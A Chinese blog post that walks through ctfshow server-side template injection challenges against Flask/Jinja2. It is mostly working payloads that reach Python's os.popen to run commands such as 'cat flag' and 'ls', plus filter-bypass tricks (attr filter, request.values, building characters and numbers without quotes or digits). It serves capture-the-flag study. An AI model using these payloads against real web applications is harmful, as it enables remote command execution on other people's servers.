MYBLOG

ctfshow SSTI部分记录

2021-08-06 07:04:13ans

ctfshow SSTI:

最近重新开始整理知识的工作,顺便发现了ctfshow这个平台,各个方向的题目都有数量还挺多,但是需要花钱,所以就没买。从网上找了WP大体看了看题目的设置,然后在本地自己搭了个简单的环境复现了一下。

每一题的过滤都是前面过滤的基础上加的

1.没任何过滤

先找到有builtin命名空间的类,然后直接payload:

  1. ?a={{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['builtins'].eval('__import__("os").popen("cat flag").read()')}}

或者怎么搞都行

2.过滤单双引号

中括号的内容可以用request.args.x代替

同样,函数括号内的内容也可以用request.args.x代替

  1. {{[].__class__.__mro__[1].__subclasses__()[193].__init__.__globals__[request.args.b].eval(request.args.c)}}&b=__builtins__&c=__import__('os').popen('cat flag').read()

3.过滤request.args

直接用request.values等代替即可

  1. ?a={{[].__class__.__mro__[1].__subclasses__()[193].__init__.__globals__[request.values.b].eval(request.values.c)}}
  2. POST:
  3. b=__builtins__&c=__import__('os').popen('cat flag').read()

原题貌似不能用POST方法,那就用request.cookies.xxx,一样的

4.过滤__globals____getitem__、[、]

第一种方法

过滤__globals__可以用catch_warnings类

过滤__getitem__,由于subclasses是列表,可以用pop函数代替

  1. ?a={{().__class__.__mro__[1].__subclasses__().pop(163)._module.__builtins__.__import__(request.values.b).popen(request.values.c).read()}}
  2. b=os&c=ls

但是发现__mro__是元组不是列表,不能用pop函数,所以可以用__base__来向上查到基类:

  1. ?a={{().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(request.values.b).popen(request.values.c).read()}}
  2. b=os&c=cat flag

第二种方法

使用attr过滤器代替

至于__mro__,可以用上述pop函数代替,也可以选择用flask内置对象和函数直接跳过这部分,例如:

  1. {{lipsum.__globals__['__builtins__'].__import__('os').popen('ls').read()}}

用attr代替后是:

注意

  1. ?a={{((lipsum|attr(request.values.b))|attr(request.values.c)(request.values.d)).__import__(request.values.e).popen(request.values.f).read()}}
  2. b=__globals__&c=__getitem__&d=__builtins__&e=os&f=ls

5.过滤{{和}}

可以用{%和%}代替

  1. ?a={% print ().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(request.values.b).popen(request.values.c).read() %}
  2. b=os&c=cat flag

同样,上面的第二种方法也是一样修改

6.过滤request

过滤request,就只能造字符了

第一种方法

其中一种方式是找到chr()函数并定义:

  1. {% chr=().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.chr %}

定义后直接用chr(数字)来拼接:

  1. ?a={% set chr=().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.chr %}{% print ().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(chr(111)%2bchr(115)).popen(chr(34)%2bchr(108)%2bchr(115)%2bchr(34)).read() %}

第二种方法

通过{{(config.__str__()[2])+(config.__str__()[3])}}获得想要的字符。

第三种方法

利用内置过滤器产生任意字符

这个方法利用的是构造出’%c’字符串,然后利用python的’%c’ % (number)的语法来构造任意字符

利用flask的g对象,可以得到’%’:

  1. {%set pc = g|lower|list|first|urlencode|first%}

然后得到’c’:

  1. {%set c=dict(c=1).keys()|reverse|first%}

合并二者得到’%c’:

  1. {%set udl=dict(a=pc,c=c).values()|join %}

之后可以得到任意字符:

  1. {%set udl2=udl%(95)%}{{udl}}

合起来的payload就是:

  1. {%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set udl2=udl%(95)%}{{udl}}

7.过滤数字

第一种方法

数字可以直接用True和False来凑:

  1. {% set one=True%2bFalse %}{% print one %}
  2. 得到结果1,则one就是1,其余任何数都能表示了
  1. ?a={% set chr=().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.chr %}{% print ().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(chr(111)%2bchr(115)).popen(chr(34)%2bchr(108)%2bchr(115)%2bchr(34)).read() %}

但是这样太长了,会报错:

  1. RecursionError: maximum recursion depth exceeded while calling a Python object

所以把数字设置的大一点:

  1. {% set c=True%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue %}

这样c就是10了。那163怎么表示?16个c相加再3个True相加就好了

或者加上乘法:163=c*c+c+c+c+c+c+c+True+True+True

  1. ?a={% set c=True%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue %}{% set chr=().__class__.__base__.__subclasses__().pop(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue%2bTrue%2bTrue)()._module.__builtins__.chr %}{% print ().__class__.__base__.__subclasses__().pop(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue%2bTrue%2bTrue)()._module.__builtins__.__import__(chr(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue)%2bchr(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue)).popen(chr(c%2bc%2bc%2bTrue%2bTrue%2bTrue%2bTrue)%2bchr(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc-True-True)%2bchr(c%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bc%2bTrue%2bTrue%2bTrue%2bTrue%2bTrue)%2bchr(c%2bc%2bc%2bTrue%2bTrue%2bTrue%2bTrue)).read() %}

(这是命令为ls的payload)

第二种方法

利用字典的键**转化为列表的项,再用count或者length统计长度来获得数字,这个方法比上面的要简单一些

  1. {% set a=dict(aaaaaaaaa=1)|list|string %}{{a|count}}

这样就能获得长度13([‘aaaaaaaaa’]整体是一个字符串)

8.过滤print

这题有三种盲注以及一种数据外带方式来解决,详情见另一篇SSTI的文章吧

9.过滤count

这题应该是针对之前的第7题的利用count计数来凑数字的方法,改成length就好了……

全部留言 0